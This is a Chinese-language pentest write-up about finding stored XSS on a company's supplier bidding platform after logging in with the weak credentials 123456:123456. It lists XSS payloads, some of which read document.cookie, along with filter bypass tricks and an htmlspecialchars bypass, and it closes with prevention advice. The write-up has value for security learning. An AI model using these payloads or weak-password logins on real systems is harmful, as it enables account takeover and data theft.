对某公司一次弱口令到存储型xss挖掘

admin 2022年4月23日11:55:31评论38 views字数 2062阅读6分52秒阅读模式

这篇文章来自我的奇安信社区发表的文章,自己推广我自己(狗头)

原文地址:https://forum.butian.net/share/885


免责声明:

渗透过程为授权测试,所有漏洞均以提交相关平台,博客目的只为分享挖掘思路和知识传播

涉及知识:

xss注入及xss注入绕过

挖掘过程:


背景:
某次针对某目标信息搜集无意发现某工程公司的项目招标平台

厚码…求生欲满满呜呜呜


对某公司一次弱口令到存储型xss挖掘


有个供应商登陆,啥也不说先来个弱口令 123456:123456



对某公司一次弱口令到存储型xss挖掘


只能说弱口令yyds!!!!
发现在供应商资料中存在不少输入点,手痒随手一波xss

分享一波常用测试语句:

输入框:

    <script>alert('XSS')</script>    <scr<script>ipt>alert('XSS')</scr<script>ipt>    "><script>alert("XSS")</script>    "><script>alert(String.fromCharCode(88,83,83))</script>


图片:

    
    
    
    
    
    


    <img src=x onerror=alert('XSS');>    <img src=x onerror=alert('XSS')//    <img src=x onerror=alert(String.fromCharCode(88,83,83));>    <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>    <img src=x:alert(alt) onerror=eval(src) alt=xss>    "><img src=x οnerrοr=alert("XSS");>    "><img src=x onerror=alert(String.fromCharCode(88,83,83));>



编辑器:

    [a](javascript:window.onerror=alert;throw%201)    [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)    [a](j a v a s c r i p t:prompt(document.cookie))    [a](javascript:prompt(document.cookie))



刷一波发现大部分都有过滤,但是[股份/责任人] 栏下有代码被注入成功

语句为:"<script>alert('XSS')</script>"<

对某公司一次弱口令到存储型xss挖掘

查看该部分DOM源码:

对某公司一次弱口令到存储型xss挖掘

有戏!

针对该点继续测试,构造语句:

"<script>alert('XSS')</script>"<


对某公司一次弱口令到存储型xss挖掘

代码:

对某公司一次弱口令到存储型xss挖掘

对某公司一次弱口令到存储型xss挖掘

对某公司一次弱口令到存储型xss挖掘

尝试url编码:

这么一通注下来,对刚刚的乱注小总结一下:

  • 发现 / 被转义成 =”” //

  • /变成 =””

  • </ script>转义成<=”” script=””> 而且多个/

  • 如///也只被转义成 =”” 没办法重写绕过





并且存在htmlspecialchars()函数: &quot,意味: “””
本地测试发现script便签中存在 &quot 就无法弹窗

对某公司一次弱口令到存储型xss挖掘

所以存在两个问题,一方面要绕过这个&quot,而且要绕过的转义

先说对</ script>的绕过思路:
转换法:

    前端限制绕过,直接抓包重放,或者修改html前端代码    大小写,比如:<scrIPT>alERT(1111)</scRIPT>用来绕过    拼凑:<scri<script>pt>alert(1111)</scri</script>pt>    使用注释干扰:    <scri<!--test-->pt>alert(111)</scri<!--test-->pt>    编码法:核心思路:后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤,当浏览器对该编码进行识别时,会翻译成正常的便签,从而执行在使用编码时需要主要编码在输出点是否会被正常是不和翻译!

接下来说对&quot的绕过:
`htmlspecialchars()函数是把预定义的字符转换为HTML实体,预定义的字符是:

&(和号)成为 &amp
“ (双引号)成为&quot
‘(单引号)成为&#039
<(小于号)成为&lt

(大于号) 成为&gt
可引用类型:
ENT_COMPAT-默认,仅编码双引号
ENT_QUOMES-编码双引号和单引号
ENT_NOQUOTES-不编码任何引号



其他函数

对某公司一次弱口令到存储型xss挖掘

构造语句:

构造对&quot的绕过:

q'οnclick='alert(1111)'

直接产生弹窗:


重新访问页面该xss弹窗还在,说明注入成功

接下来就是利用xss平台对这个注入点进行下一步利用
具体可以参考:
https://www.cnblogs.com/coderge/p/13701664.html

xss常见的防范措施

总的原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如过滤要求输入手机号,则只允许输入手机号格式的数字
转义:所有输入到前端的数据都根据输出点进行转义,比如输出到HTML中进行HTML实体转义,输入到JS里面的进行JS转义


原文始发于微信公众号(b1gpig信息安全):对某公司一次弱口令到存储型xss挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日11:55:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   对某公司一次弱口令到存储型xss挖掘http://cn-sec.com/archives/934105.html

发表评论

匿名网友 填写信息